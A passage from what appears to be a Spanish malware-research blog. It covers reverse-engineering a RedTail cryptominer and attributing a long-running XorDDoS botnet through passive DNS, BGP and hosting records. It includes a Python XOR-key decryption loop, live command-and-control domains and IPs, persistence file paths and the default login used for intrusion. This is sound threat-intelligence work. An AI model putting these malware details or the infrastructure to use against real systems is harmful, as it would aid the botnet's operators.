escuece: este no me lo hizo nadie, me lo hice yo. Antes de tirar de la jaula había intentado el camino limpio (encontrar el descifrador dentro del binario) y creí haberlo encontrado. Un barrido de entropía fino (midiendo el «desorden» del binario en ventanas pequeñas, no grandes como en el capítulo 6) destapó una tabla de 256 bytes escondida entre los datos, una permutación perfecta de todos los valores posibles. Una tabla de sustitución: la pieza típica de un cifrado casero. Mi primer reflejo fue llamarla «S-box» - y ese nombre ya presupone un papel de cifrado que yo no había probado. 02468 entropía (bits/byte) 0x465a00 · 7,67 20.312 ventanas de 256 B · 5,2 MB → Todo el binario, medido en ventanas de 256 bytes. Veinte mil trozos, todos con entropía normal… y una sola aguja. Eso es la tabla escondida. Estaba idéntica, byte a byte, en las cinco arquitecturas del bicho - cuando escribí esto conté cuatro, porque al binario de RISC-V mi versión de UPX no le podía quitar el envoltorio y lo dejé fuera. Con una versión más nueva abre sin protestar, y la tabla está también ahí. Otra vez lo mismo: el fallo era de mi herramienta, no de la muestra. Eso la coloca en el tronco común de las cuatro (forma parte de lo que llevan dentro, no de lo que añade el compilador de cada plataforma), aunque no demuestre que la escribieran ellos: podría venir de alguna librería que arrastran. 00112233445566778899AABBCCDDEEFF 256 casillas · 256 valores distintos · cero repetidos La tabla que encontré, dibujada casilla a casilla (el color es el valor). Los 256 valores posibles, cada uno una vez: una permutación. Olía a cifrado. No lo era. Y encontré la rutina que la usa: una mezcla de sumas y XOR encadenados. Me convencí de que ese era el cifrado de la config, y me relamí. Pues no. Cuando por fin busqué bien, el análisis italiano contaba que la configuración de RedTail se descifra con algo muy distinto: un generador de números pseudoaleatorios. Uno de esos que, dándoles un número de partida, escupen un chorro de bytes que parece aleatorio pero es siempre el mismo. Ese chorro es la clave, y con él se deshace el cifrado. Y daban una pista para reconocerlo: la constante 0x6c078965, que es la que usa el Mersenne Twister (el MT19937, un generador clásico) al montar su estado inicial. Fui a buscarla a mi binario. Ahí estaba, agazapada en el 0x1c409. Aquí voy a hilar finoQue es justo lo que no hice en el capítulo 6. A partir de ahora conviene separar tres cosas que no valen lo mismo. Lo que he visto yo: la configuración en la memoria, los nombres con los que se disfraza, la tabla de 256 bytes, y esa constante en mi muestra. Lo que he leído: que la configuración se descifra con ese generador - lo dicen ellos; yo no he seguido la rutina hasta el final. Y lo que deduzco juntando las dos cosas: que esa tabla no pinta nada ahí. Encaja bien. Pero deducir no es haber visto, y esa distinción es la que me faltó la primera vez. ¿Y no será RC4? Es la pregunta que tocaba hacerse: una permutación de 256 bytes movida con sumas y XOR es exactamente la pinta de RC4. Pero esta vez no me fié del parecido - lo miré en el binario. Y no cuadra por tres sitios. La tabla vive en un segmento de solo lectura (R-X, sin bit de escritura), y RC4 necesita reescribir su estado en cada byte que produce (swap(S[i],S[j])): ahí no puede correr. Y en todo el binario nadie la escribe - de las tres únicas veces que se la toca, las tres son lecturas, y las tres caen en el mismo bucle: la tabla en el binario · permisos y referenciasva 0x8659e0 segmento R-X ; solo lectura, sin escritura 3 referencias en 962.205 instrucciones, las 3 lecturas: 0x6c82e9 movzx eax, byte [rax + 0x8659e0] 0x6c8309 movzx eax, byte [rax + 0x8659e0] 0x6c832a movzx eax, byte [rax + 0x8659e0] ni un swap, ni una escritura, en todo el fichero Y la forma del código tampoco es la de RC4 (que es swap y un único XOR contra el dato): lo que hay es h = T[h ⊕ c] encadenado, una pasada hacia delante sumando y otra hacia atrás con XOR. Cero swaps. Es una sustitución encadenada estilo Pearson, y el bucle cuelga de dos descriptores que solo cambian parámetros - forma de tabla de algoritmos de una librería, no de código escrito a mano (a un tiro de piedra, en la .rodata, hay un muro de cadenas de libuv). Así que la etiqueta honesta es la más sosa: una tabla de sustitución de 256 bytes. De qué librería y para qué exactamente, no lo sé - el binario está stripped, sin símbolos, y no me da para identificarla. Y no me lo voy a inventar, que de eso va justo este capítulo. Y ahora, la parte que no esperaba: esto me absuelve de otra cosa. En el capítulo 6 me gasté una tarde en demostrar que la configuración no está cifrada con XOR de clave repetida - barrí el fichero entero buscando la huella estadística que deja ese cifrado, probando claves de 1 a 40 bytes, y salió limpio. Era lo único de aquel capítulo que no había leído en ningún sitio, así que confieso que, a estas alturas del día, temí que esto me lo tumbara también. Pues no me lo tumba: le da la vuelta. Un generador de estos produce una secuencia de bytes determinista (siempre la misma si le das el mismo número de partida) que se puede usar como clave. Y si el descifrado consiste en aplicar esa secuencia byte a byte con XOR, entonces sigue siendo XOR. Lo que se cae no es el XOR: es la hipótesis de la clave corta que se repite. Una secuencia así tarda un disparate en volver sobre sus pasos (incomparablemente más que los cinco megas de este fichero), así que una prueba que busca repeticiones cada 1 a 40 bytes no tenía nada que encontrar. Que es el resumen honesto de aquella tarde: no me equivoqué buscando XOR. Me equivoqué buscando una clave corta. La tabla tiene nombreCerré esa línea diciendo que no sabía de qué librería salía y que no me lo iba a inventar. Ya no hace falta inventar nada. Esos 256 bytes están tal cual dentro de OpenSSL, de Nettle y de libgcrypt. Son la PITABLE del cifrador RC2, la que define el RFC 2268 - y RedTail enlaza OpenSSL estáticamente, así que la arrastra sin querer. Y encaja con lo que describí sin saber qué era: el calendario de claves de RC2 es, palabra por palabra, una pasada hacia delante sumando y otra hacia atrás con XOR. Que esas tres lecturas sean exactamente la expansión de clave de RC2 es lo único que aquí deduzco; que la tabla es la de RC2, está medido. ✅ Y no desmonta nada: confirma. La tabla no es de RedTail y no descifra la configuración, que era la conclusión. Y el descarte de RC4 también estaba bien hecho - la intuición de que «tenía toda la pinta» fallaba por un dígito: RC2, no RC4. La diferencia, que es la lecciónMi tabla existe, es real y está ahí dentro. Pero no descifra la config - y, como acabo de ver, probablemente ni siquiera es suya, sino de una librería que arrastra. Me la creí el cifrado principal porque encajaba con lo que yo quería encontrar. Encontré una pieza de verdad, y le puse la etiqueta que me convenía. Así es como se cuela un error: no inventándote un dato, sino queriendo que el dato que tienes sea el que buscabas. 06Tres semanas después Los tres proxies, hoyLos tres proxies siguen vivos y resuelven a 31.56.209.165 y 130.12.180.51. (Los dominios raíz no resuelven: solo existen los subdominios proxies.*.) Esta campaña no se ha ido a ninguna parte. Y al mirar dónde viven esas direcciones ha salido un hilo que no había visto, y que une dos capítulos separados por diez. La IP del proxy de minado, 31.56.209.165, y el servidor de reparto del Capítulo 5, 217.60.195.113, están en rangos distintos - pero comparten el mismo número de red y el mismo nombre de registro: AS209373, SWISSNET. (Y aquí los dos datos concuerdan, sin el lío de titulares y anunciantes que salió en el Capítulo 11.) Es decir: el sitio desde el que reparte el binario y el sitio al que ese binario manda el dinero están en el mismo proveedor. Ningún capítulo había conectado esas dos piezas, y solo aparece comparando el 5 con el 15. Es justo lo que celebraba el Capítulo 4: guardar y comparar paga. La pieza que le faltaba al Mersenne TwisterAquí arriba publiqué la constante con la que se siembra el generador, 0x6c078965. Verificando los capítulos 5 y 6 apareció la otra mitad: la implementación completa del generador, en 0x466cb0, con las cuatro constantes de manual. Son dos funciones distintas y encajan - una siembra, la otra genera. Un detalle que orienta: esa función tiene un único consumidor en todo el binario. Un generador de biblioteca de uso general tendría decenas. ⚠️ Para qué se usa no está establecido. Es una pista, no una conclusión: no digo que ése sea el chorro de bytes que descifra la configuración, porque no lo he seguido hasta el final. Y algo que me escuece un pocoEl dato del DNS cifrado lo saqué encendiendo el minero en la jaula. Resulta que llevaba desde el 30 de julio publicado gratis en un informe automático de VirusTotal. Dos caminos distintos, el mismo resultado - pero uno costaba montar un laboratorio y el otro, mirar. La configuración en memoria sí exigía detonar; esto no. El capítulo 6 terminaba diciendo que reconocer una pared es parte del oficio. Lo sigo pensando. Solo que ahora sé que hay tres clases de pared: la que no se puede derribar, la que solo cuesta horas… y la que alguien ya derribó mientras tú te dabas cabezazos contra la de al lado. RedTail tenía dueño desde el principio. El nombre 2137gang venía en los propios dominios que traía mi muestra, y un puñado de firmas de seguridad tenían la familia abierta en canal desde 2024. Yo llegué en 2026, con una jaula recién montada y una lección que ya me había escrito a mí mismo. Volví, como dije que volvería. No traigo la exclusiva que quería: traigo el mapa completo, la pieza que faltaba puesta por otros, y un error mío contado antes de que lo cuente nadie. Me vale. Continuará - el cebo sigue encendido. Y yo, a partir de ahora, con el buscador abierto antes de la primera línea - y sin cerrarlo porque el primer sitio me haya dado la razón. 🍯","date":"2026-08","fam":"RedTail","n":15,"spec":"RedTail (minero XMRig)","sum":"Monté una jaula, ejecuté el minero y le saqué de la memoria la configuración que en el capítulo 6 no supe descifrar. Me emocioné… y me llevé dos cosas que no buscaba: que esta familia ya estaba documentada de arriba abajo (en un sitio donde no se me ocurrió mirar) y que la pieza que creía haber descifrado servía para otra cosa.","t":"Volví a por RedTail, y RedTail ya tenía dueño","tags":["ingeniería inversa","XMRig","cryptojacking","análisis dinámico","Monero"],"tipo":"Minero (cryptojacking)","url":"/capitulo-15/"},{"body":"Una noche de agosto de 2026, de madrugada, alguien llamó a la puerta SSH de mi cebo, entró con root : ubnt (contraseña de fábrica de los Ubiquiti) y a los 62 segundos se había ido. Dejó un binario. Lo abrí, lo conté en dos capítulos y le puse una etiqueta: Gafgyt. La etiqueta estaba mal. Pero eso no lo descubrí revisando mis notas: lo descubrí una semana después, dando toda la vuelta por el otro lado (una IP, un casero, un inquilino, ciento trece muestras ajenas) hasta volver al punto de partida y encontrarme con que el operador ya estaba en mi cebo desde el primer día, con el nombre equivocado encima. Esto es esa vuelta. No es el análisis de un bicho: es el rastreo de la gente que lo maneja, hasta donde llegan los registros públicos. Cómo leer estoTres niveles, siempre separados: visto (lo he ejecutado y comprobado yo), leído (lo dice un tercero) y deducido (es interpretación mía, con su confianza). Cuando mezclo los tres es cuando meto la pata - y aquí la metí ocho veces, que están todas contadas. 01Una aguja entre cuatro millones Conviene dimensionar aquellos 62 segundos. En su ventana de registro (ocho días) el cebo acumuló 3.874.029 eventos. Buscando la firma completa de esta campaña en todo ese ruido, aparecen dos eventos, una sesión, una IP, un día. Y de los 52 hashes distintos que cayeron esa semana (mineros, botnets de todo pelaje, treinta y nueve que ni siquiera están catalogados en ningún sitio) exactamente uno era de este operador. Aunque «distintos» es mucho decir: la mayoría son repetidos, muy insistentes ellos. Trece de los que conservo pesan exactamente 1608 bytes - el mismo script una y otra vez, con los nombres de descarga cambiados en cada entrega. Cambia una letra y ya es otro fichero para cualquier catálogo. No fue una campaña aporreando la puerta. Fue un grano de arena que resultó ser el caso entero. 02El nombre equivocado (y no fui el único) Aquel binario entró en mi catálogo como Gafgyt / Bashlite. Con él entraron su servidor de descarga, su persistencia (/etc/cron.hourly/gcc.sh, /var/run/gcc.pid), el truco de renombrar wget a good, y una clave XOR de dieciséis bytes que saqué con Ghidra: BB2FA36AAA9541F0. Todo eso es firma de XorDDoS, no de Gafgyt. La clave es la suya, la de su nombre. El gcc.pid es su fichero de PID. El renombrado de herramientas, su marca de la casa. Y cuando por fin lo comprobé, tres motores independientes lo firmaban igual: las reglas de Elastic, las de ditekSHen y el motor de ReversingLabs - todo ello a la vista en su ficha pública en MalwareBazaar. visto Lo que me consuela poco y me enseña mucho es que no fui el único. El mismo objeto está catalogado de cuatro maneras distintas: el mismo binario, cuatro etiquetasmi catálogo .............. Gafgyt / Bashlite MalwareBazaar ............ DDoSAgent ThreatFox (su servidor) .. Mirai otra red de cebos ........ mdrfckr-ssh-backdoor -------------------------------------------- las reglas YARA del fichero XorDDoS ReversingLabs .............. Linux.Trojan.XorDDoS Y un detalle que lo remata: quien reportó ese servidor como «Mirai» es la misma persona que subió la muestra a MalwareBazaar como «DDoSAgent», dos meses y medio antes que yo. Otro cebo pescó exactamente lo mismo y también le puso el nombre equivocado. La lección que gobierna todo lo demásLas etiquetas de familia de los repositorios y los feeds son ruido. Se copian unas a otras y nadie las revisa. Lo único que zanja la pregunta es abrir el binario y leer lo que lleva dentro. Todo lo que viene después de aquí sale de haber hecho eso. 03Por el otro lado: una IP y un casero La investigación no arrancó del binario. Arrancó preguntando algo mucho más aburrido: ¿de quién es esta caja? La IP era 141.98.11.51. El dueño, un revendedor pequeño de Lituania (AS209605, UAB Host Baltic). Nada del otro mundo. Lo interesante vino al preguntar quién vive ahí: lo que cuelga de esa IPaaa.xxxatat456.com ppp.xxxatat456.com ppp.gggatat456.com www1.gggatat456.com b12.gggatat456.com p5.dddgata789.com Nombres de teclado. Y al mirar su edad en los registros públicos, la sorpresa: xxxatat456.com y gggatat456.com están registrados desde el 31 de marzo de 2015, con la renovación pagada hasta 2027 - el tercero, dddgata789.com, es posterior: de febrero de 2017. visto Once años de dominios. Renovándose. Y todavía resolviendo. Lo que ya estaba publicadoEsta familia no es un descubrimiento mío: la destapó MalwareMustDie en 2014, Microsoft la analizó en 2022 y Unit 42 documentó en 2023 una campaña con estos mismos dominios. Lo que no cubre ninguno de esos informes es lo que viene ahora: los once años completos, el operador detrás y la generación que está viva hoy. leído 04El binario habla: dieciséis rotaciones Aquí está la técnica que abre el caso, y merece contarse porque es lo que separa razonar por indicios de leer el objeto. Un indicador suelto de ThreatFox traía enlazada una muestra concreta. Tirando de ahí me bajé el corpus entero de esa familia: 113 muestras públicas. Su configuración va cifrada con la misma clave del capítulo 2. Con un detalle que me costó un rato: cada cadena arranca en su propio desplazamiento, así que aplicar la clave alineada al principio del fichero solo descifra una parte. Probando las dieciséis rotaciones de la clave, sale casi todo. el bucle que lo abre# cada cadena empieza donde le da la gana: hay que probar los 16 desfases KEY = b\"BB2FA36AAA9541F0\" for rot in range(16): k = KEY[rot:] + KEY[:rot] dx = bytes(data[i] ^ k[i % 16] for i in range(len(data))) # buscar en dx: config.rar, dominio:puerto, http:// 78 de las 113 muestras sueltan su configuración. Y lo primero que aparece cambia el caso entero. En la misma caja de Lituania vivía otro dominio, sys-kernel-update.to, con nameservers islandeses y un certificado impecable. Todo su oficio era distinto al del clúster de 2015, así que lo tenía catalogado como otro operador, de otra familia. Dos muestras lo desmienten: configuración descifrada · muestra de abril de 2026http://sys-kernel-update.to/config.rar telemetry-pipe.sh:1430|api-metadata-v6.is:1430|sys-kernel-update.to:1430 Está escrito, cifrado con la clave de XorDDoS, dentro de binarios que tres motores firman como XorDDoS. No era un vecino de otra familia. Y el puerto 1430 coincidía exactamente con lo que ThreatFox había publicado por su cuenta: dos fuentes que no se hablan, apuntando al mismo sitio. visto 05Un operador, no dos Durante varios días sostuve que en aquella caja convivían dos inquilinos. Con el histórico de DNS pasivo en la mano, esa idea se cae. Los dos juegos de dominios (el veterano de 2015 y el islandés estrenado en 2026) entran en la misma máquina el mismo día y se mudan juntos cuatro veces más: 22 feb141.98.10.38 - entran los dos, el mismo día. 22 mar141.98.10.24 - se mudan juntos. 24 mar141.98.10.115 - otra vez juntos, casi tres meses. 12 jun141.98.10.161 - juntos. 21 jun141.98.11.51 - juntos, hasta hoy. Compartir una caja es casualidad de revendedor. Entrar el mismo día y mudarse cuatro veces sincronizados, no. visto Lo que pasó en febrero de 2026 no fue que llegara un vecino: fue que el mismo operador estrenó un juego de dominios con oficio nuevo (registradores islandeses, TLS de verdad) y lo corrió sobre las mismas máquinas que el viejo. Dos generaciones de oficio de la misma mano, conviviendo. 06Febrero de 2026, al reloj Hay un tercer juego de dominios (aass654, xxcc789 y tres más), comprado en bloque el 22 de marzo de 2024. Parecía «la misma escuela». Es bastante más que eso: de las 40 IPs que llegó a usar, 35 las usó también el clúster veterano. El 87 %. Y no consecutivas: simultáneas - en una de esas máquinas los dos juegos convivieron ocho meses seguidos. visto Con eso, lo que ocurrió aquel febrero se lee entero y sin huecos: 23 eneúltima muestra del juego de 2024. 16 feble suspenden los cinco dominios de golpe. 18 febprimera muestra con un juego nuevo. 19 febregistra dos dominios más, en Tonga y en Islandia, con cinco horas de diferencia - y ese mismo día ya hay una muestra usándolos. Le tumbaron cinco dominios y en menos de 72 horas tenía reemplazo, huyendo de su registrador de siempre a Tonga, Islandia, Laos y Montenegro. Lo que hay que decirse a uno mismo«Dos juegos nuevos corriendo» es más de lo que aguanta la evidencia. Mirando el DNS pasivo de los seis dominios, solo uno ha resuelto de verdad. Lo sostenible es: un host vivo con cinco nombres más escritos en el binario como respaldo, la mayoría de los cuales nunca llegaron a levantarse. Un nombre en un fichero de configuración no es infraestructura. 07Once años de mudanzas, y el origen Con el histórico completo, la biografía sale sola. xxxatat456.com ha pasado por 110 direcciones distintas entre abril de 2015 y hoy: once años de caseros2015 ......... Hong Kong, Tailandia, Corea 2016 - 2022 .. OVH, Francia — la casa base, siete años 2023 - 2024 .. PEG Tech, Estados Unidos 2025 ......... Vietnam, Hong Kong, Francia 2026 ......... Lituania Y el principio de todo está en la primera línea. El DNS pasivo inverso de aquella máquina de Hong Kong de 2015 devuelve esto: 103.240.141.54 · primavera de 20152015-04-20 ns3.hostasa.org 2015-04-28 www.xxxatat456.com 2015-05-10 www1.gggatat456.com 2015-05-18 gggatat456.com hostasa.org es el servidor de mando del primer XorDDoS documentado, el que destapó MalwareMustDie en 2014. Y ahí está, compartiendo máquina con los primeros dominios de nuestro operador, en un intervalo de cuatro semanas. visto No es el único indicio. Un mismo binario lleva hardcodeados, en posiciones contiguas, la dirección de configuración de hostasa y la lista de servidores de atat456 - y no solo en 2022: también en una muestra de enero de 2025. El matiz que cambia lo que vale esta pruebahostasa.org caducó y estuvo muerto desde 2019. Así que en las muestras de 2025 esa dirección ya no distribuía nada: era una cadena muerta arrastrada en el código. Eso significa que la prueba binaria demuestra linaje de código (el mismo generador, la misma plantilla) y demuestra infraestructura realmente compartida solo hasta 2019. Es mucho, pero no es lo mismo. Que sea la misma persona en 2015 y en 2026 es probable, no está probado. hostasa.org ha vueltoLo de arriba era cierto hasta agosto de 2025. Ya no. El RDAP dice que alguien re-registró el dominio el 4 de agosto de 2025, y hoy resuelve: hostasa.org y aa.hostasa.org apuntan a 34.41.139.193. visto Así que la frase se sostiene para las muestras de 2025 hasta ese agosto, y deja de sostenerse después: cualquier bot que siga arrastrando esa cadena hoy está hablando con alguien. Con quién, no lo sé, y no voy a suponerlo. Lo que sí puedo decir es cómo se comporta esa dirección: es un host de Google Cloud que contesta nginx 200 en cientos de puertos. Ese perfil no es el de un servidor de reparto; se parece mucho más al de un sumidero de investigación, de esos que alguien monta para ver quién sigue llamando. deducido Y en cualquiera de las dos lecturas (lo haya recuperado el operador o lo haya recogido un investigador) refuerza el argumento de linaje: que alguien pague por revivir un dominio muerto desde 2019 dice que ese nombre todavía vale algo. Detalle con su punto de ironía: el casero de 2015 se llamaba ClearDDoS Technologies. 08La rama que no es mía Aquí toca frenar, porque es el punto donde más fácil sería pasarse de listo. Junto a la estirpe que acabo de contar hay una segunda, que comparte cosas con ella y que no está atribuida. Son cinco dominios (enoan2107.com, gzcfr5axf6.com, myserv012.com, checkokdomain.com y monstervp.com) que comparten desde 2019 el mismo par de servidores de nombres y que, sobre todo, recorren las mismas máquinas en las mismas fechas durante cinco años. Tres de ellos aterrizan juntos en 103.254.75.120, en Hong Kong, el 18 de marzo de 2024. Ahí siguen. visto Antes de creerme el indicio, medirloDe los cuatro servidores de nombres de esa cuenta, dos los comparten miles de dominios ajenos que no tienen nada que ver con esto: por sí solos no significan nada. Lo que agrupa de verdad es el par concreto de los otros dos, y lo comprobé contra dominios de terceros antes de darlo por bueno. Es la disciplina de todo el expediente: preguntar cuánta gente tiene esta misma propiedad sin ser mi objetivo. A favor de que sea la misma mano: comparten con los binarios de atat456 el mismo host de configuración, aa.hostasa.org, y comparten la columna de DNS de 2015. En contra, y pesa mucho: su rotación de caseros no toca la nuestra en ningún punto y entre las dos ramas no hay ni un solo solape de dirección. Justo al revés que con el clúster hermano, donde el solape era del 87 %. Con eso encima de la mesa, lo único que se sostiene es misma operación, división distinta. deducido Y ahí me quedo. Es la pregunta que este caso deja abierta, y forzarla sería exactamente el error que llevo todo el expediente intentando no cometer. Un aviso que vale para toda la familiaenoan2107.com se registró en 2021 y gzcfr5axf6.com en 2016. No son, por tanto, «los dominios clásicos de 2014-2015», por mucho que aparezcan citados como tales en la literatura de esta familia. Los de aquella época son hostasa.org y la rama dsaj2a. 09Los caseros, hasta arriba El método es el mismo del principio y es aburrido a propósito: de la dirección al hosting, del hosting al dueño del espacio, y del dueño del espacio a quien se lo alquila a él. Hasta arriba del todo. Donde vive el mando hoy ya lo hemos visto: Lituania, un revendedor pequeño. Lo que no había dicho es en qué compañía. De los 500 escaneos recientes que urlscan guarda de esa red, el 71 % son farmacias falsas (85 dominios distintos) y otro 5 % son suplantaciones de casinos. Nuestro operador es ahí un inquilino minoritario. visto Sesgo declaradourlscan mide lo que la gente escanea y reporta, no el tráfico real de la casa. Sirve para retratar el vecindario, no para censarlo. Donde vive la rama de Hong Kong son dos números de red distintos que en realidad son la misma casa: mismo administrador, mismo teléfono, mismos buzones, y uno dando tránsito al otro con China Telecom por encima. De sus cien escaneos más recientes, 87 llevan una marca suplantada en el propio nombre del dominio (WhatsApp, OKX, Bitpie, DeepSeek). Su buzón administrativo apunta a un dominio que se les caducó y que hoy está aparcado en Países Bajos. El de abusos sí funciona, y es una cuenta gratuita de Outlook: para dos redes y unas nueve mil direcciones. Y donde vive el loader, que es la máquina que de verdad infecta, hay cuatro pisos para una sola caja: 169.239.130.20 · cuatro pisosespacio ... AFRINIC sudafricano, dado de alta en 2021 titular ... Zappie Host — Trinity House, Victoria, Seychelles anuncio ... AS49870 Alsycon B.V., Países Bajos reventa ... HostMayo — 126 máquinas en el /24, casi todas solo con SSH Espacio africano, dueño en Seychelles, anuncio holandés, reventa a máquinas baratas. Y el escalón de abajo se retrata solo: Zappie Host alquila desde 4,50 dólares al mes en Nueva Zelanda, Sudáfrica y Chile (el nicho de las geografías raras), regala sesiones de enrutamiento a quien las pida, cobra por PayPal y por bitcoin con el reclamo textual «bitcoin, Where privacy matters», y no publica política de abuso. No hace falta un proveedor a prueba de denuncias cuando existe esto por el precio de dos cafés. Esa caja corre Apache sobre Ubuntu, su raíz devuelve un 403 y lo único que contesta es new.php. Y tiene una comprobación externa que la ata a mi cebo: urlscan la escaneó antes que yo y se llevó 114.144 bytes, exactamente el tamaño del binario que me cayó aquella madrugada de agosto. Ochenta y dos días sirviendo la misma carga desde el mismo sitio, verificado por alguien que no soy yo. visto Y aquí aparece el contraste que mejor lo retrata, y sale de mi propio cebo. De los binarios que conservo de aquella semana, trece son los droppers de 1608 bytes que mencioné al principio. Lo único que cambia entre ellos son los nombres de descarga: 156 nombres distintos entre los trece, ninguno repetido, todos apuntando a una misma máquina holandesa. Esa campaña fabrica un guion nuevo y doce direcciones nuevas en cada entrega, para que ninguna lista de bloqueo por hash o por URL le sirva a nadie de nada. visto Nuestro operador hace exactamente lo contrario. Una sola dirección, sin tocarla en ochenta y dos días. Los mismos dominios renovados desde 2015. La misma clave desde 2014. No es que no sepa hacer lo otro (cuando en febrero le tumbaron cinco dominios de golpe, tardó tres días en tener el reemplazo corriendo). Es que con estos no le hace falta. deducido La asimetría que no me explicoLos cinco dominios que le suspendieron en febrero eran de 2024 y no tenían, que yo sepa, un solo informe público encima. Los de 2015 llevan años en el informe de Unit 42, en el de Talos y hasta en listas oficiales de bloqueo chinas - y ahí siguen, activos, con la renovación pagada hasta 2027. Se tumba lo desconocido y se deja lo documentado. No sé por qué. visto 10Me equivoqué de década Con los caseros de Hong Kong estuve a punto de colar en este texto un error de los que no se ven, porque el dato no es falso: es un dato verdadero puesto en el año que no era. Yo tenía escrito que ese espacio pertenece a un mayorista de direcciones y que lo anuncia una empresa de Hong Kong que vende, entre otras cosas, protección contra DDoS. Y es cierto. Hoy. El problema es que el mando de esa rama vivió allí en 2022 y 2023, y yo estaba describiendo aquellos años con una foto de 2025. Los registros de internet, por defecto, solo enseñan el estado actual: quién es el dueño ahora. Preguntarles por el pasado es otra cosa. Lo que sí responde a «¿quién anunciaba este rango en tal fecha?» es el histórico de BGP. Y responde con fechas: quién anunciaba cada rango, y desde cuándo23.235.171.197 mando 2022-2024 → AS136800 MOACK.Co.LTD (Corea) + AS40065 CNSERVERS 2021-06 → 2024-03 23.248.237.29 mando 2022 → AS136800 MOACK.Co.LTD 2021-06 → 2023-12 43.249.172.214 mando 2022 → AS136800 MOACK.Co.LTD 2021-06 → 2023-12 El casero de aquella época era MOACK, una empresa coreana, con un coanunciante estadounidense. No los de ahora. visto Y al corregir el error apareció algo mejor que el error. La empresa que hoy anuncia ese espacio no empieza a hacerlo hasta el 18 de marzo de 2024, que es justo el mes en que la rama de Hong Kong abandona esos rangos y salta a otra casa. El operador se mudó, más o menos, cuando la casa cambió de dueño. No fuerzo la causa, pero la coincidencia de fechas está ahí. Remate para mi orgullo: moack.net ya figuraba como contacto de uno de esos rangos en mis propias notas, escritas tres horas antes esa misma madrugada. Era el hilo conductor y lo tenía delante sin verlo. La ironía que dejé caer al contar el origen, además, da otra vuelta. El casero de 2015 se llamaba ClearDDoS; el que hoy tiene el espacio de Hong Kong vende protección contra DDoS. No lo cuento como complicidad, sino como descripción del mercado: quien vende mitigación tiene exactamente la red que necesita quien vende ataques. Para el registro, con su fechaLos nombres, ya que a los demás caseros de este caso los pongo con el suyo: hoy ese espacio lo anuncia Yancy Limited (AS138415, Hong Kong), que vende tránsito, alquiler de direcciones y protección contra DDoS, y su titular en el registro americano es RedLuff, LLC, un corredor de direcciones con quince bloques y casi 41.000. Ninguno de los dos tenía nada que ver con este espacio en 2022 y 2023, que es el periodo que importa aquí: el número de red de Yancy y los objetos de RedLuff son posteriores. Los nombro porque nombro a todos los demás, no porque haya nada que colgarles. 11A quién le pega esto Durante toda la investigación faltaba la pregunta más obvia. Esto es una máquina de hacer daño: ¿a quién se lo hace? La única lista disponible son las 171 direcciones que publicó Cisco Talos junto a su informe. Les resolví el nombre inverso a todas; respondieron 61. El resultado no admite mucha interpretación: quién hay al otro ladoc-73-95-47-244.hsd1.co.comcast.net una casa en Colorado fl-69-69-2-11.dhcp.embarqhsd.net una casa en Florida p5b360a39.dip0.t-ipconnect.de una casa en Alemania 189-47-95-188.dsl.telesp.net.br un DSL en Brasil 2-77-15-250.kcell.kz un móvil en Kazajistán 233.226.205.221.adsl-pool.sx.cn un ADSL en China El 47 % de las que responden son conexiones residenciales. No son centros de datos: son las conexiones de casa de gente corriente, en cinco continentes. visto Y encaja con lo que de verdad es el mercado del DDoS de alquiler. Un booter no se contrata para tumbar una infraestructura: se contrata para echar a alguien de internet - un rival en una partida, una disputa, alguien a quien se quiere callar. deducido Once años de infraestructura renovándose, y un rastro de caseros que cruza medio mundo, para dejar sin internet la casa de alguien en Colorado. Una anomalía que no doy por resueltaOnce de esas direcciones están en espacio del Departamento de Defensa de Estados Unidos, y ninguna tiene nombre inverso. Esos rangos son el sitio clásico donde se falsifican las direcciones de origen de un ataque, precisamente porque no devuelven tráfico. Lo más probable es que no sean víctimas sino orígenes falsificados colados en la lista. deducido No se puede zanjar con estos datos, pero llamarlas «objetivos» sin más sería justo el error que llevo todo el caso intentando no cometer. No siempre entra por la puerta de atrásMi cebo lo vio entrar por fuerza bruta contra SSH, que es la vía clásica de esta familia. Pero no es la única: en 2020 Tencent documentó que alguien registró un dominio que suplantaba a rinetd (una herramienta legítima de redirección de puertos) y repartió desde ahí una copia troyanizada que se descargaba XorDDoS sola. Un envenenamiento de la cadena de suministro. Y la lista de servidores de mando de aquel análisis contiene, uno por uno, los dominios de este operador. leído 12El dinero, y el humano que no aparece Esto no es un aficionado con un troyano. Es un producto que se vende: hay un panel de control, un generador y varias versiones, con reclamos comerciales traducidos del chino que son puro lenguaje de producto de consumo - «más de 10.000 conectados sin tirones». leído El dónde está el negocio no lo cuenta ningún informe occidental, pero sí un informe oficial del CERT chino de 2019. Describe, sin nombrarlo, al mayor grupo de esta familia de aquel año: usaba «gran cantidad de dominios maliciosos con cadenas específicas», estaba ligado a «una organización pública descubierta en 2014», y servía a las industrias del servidor de juego pirata, el porno y las apuestas. Sus centros de mando estaban mayoritariamente en Francia (nuestra casa base) y en noviembre de 2018 un solo grupo manejaba más de 70.000 máquinas infectadas. visto, leído del PDF original Ese es el mercado: no espionaje ni sabotaje, sino guerras entre negocios sumergidos que se echan DDoS unos a otros. ¿Y la persona? El creador del panel dejó dentro un contacto de mensajería y un alias. Talos, que es quien los encontró, no los publica - ni el dato, ni siquiera el hash del fichero donde están. Así que el muro no es «no distribuyen la muestra»: es que el artefacto no está identificado públicamente. No hay puerta que forzar. Aunque en el mundo de habla china no es un desconocido. El centro estatal chino de notificación de seguridad de redes publica listas de bloqueo, y en julio de 2025 aparece en una un subdominio de este clúster, con la familia nombrada. visto Y hay analistas chinos que ya le pusieron nombre al grupo (lo llaman por la misma cadena que yo, ata) y le atribuyen, con solo dos dominios, dos de cada tres órdenes de ataque de toda la familia. Ese último dato no he podido verificarlo: el artículo está tras un muro anti-robots y solo he visto el resumen del buscador. leído, sin verificar Un salto lógico que hay que marcar antes de que lo marque el lectorEse contacto y ese alias están en el panel central: pertenecen a quien fabricó y vende el producto. Nuestro operador puede ser perfectamente uno de sus clientes - hay una docena de juegos de servidores distintos usando el mismo generador. Tratarlos como «la cara de nuestro operador» sería conectar a dos personas distintas. No lo hago. 13El círculo se cierra Con el corpus descifrado y la técnica en la mano, tocaba hacer lo que no había hecho: aplicársela al binario que pescó mi propio cebo, el que estaba catalogado como Gafgyt. Que lo tuviera guardado no es casualidad, y tiene su gracia. Después de aquella visita monté un vigía en el laboratorio: un guion que se queda escuchando el directorio de descargas y copia cada muestra en el instante en que aparece, con la regla de no borrar nunca (porque Cowrie rota rápido y lo que no copias, se pierde). En sus comentarios, para explicar la prisa, dejé escrito «el Gafgyt del capítulo 1 lo hizo en 62 segundos». La muestra que ahora desmentía aquella etiqueta estaba guardada por una herramienta que existe gracias a ella. la configuración de mi propia muestrahttps://api-metadata-v6.is/config.rar 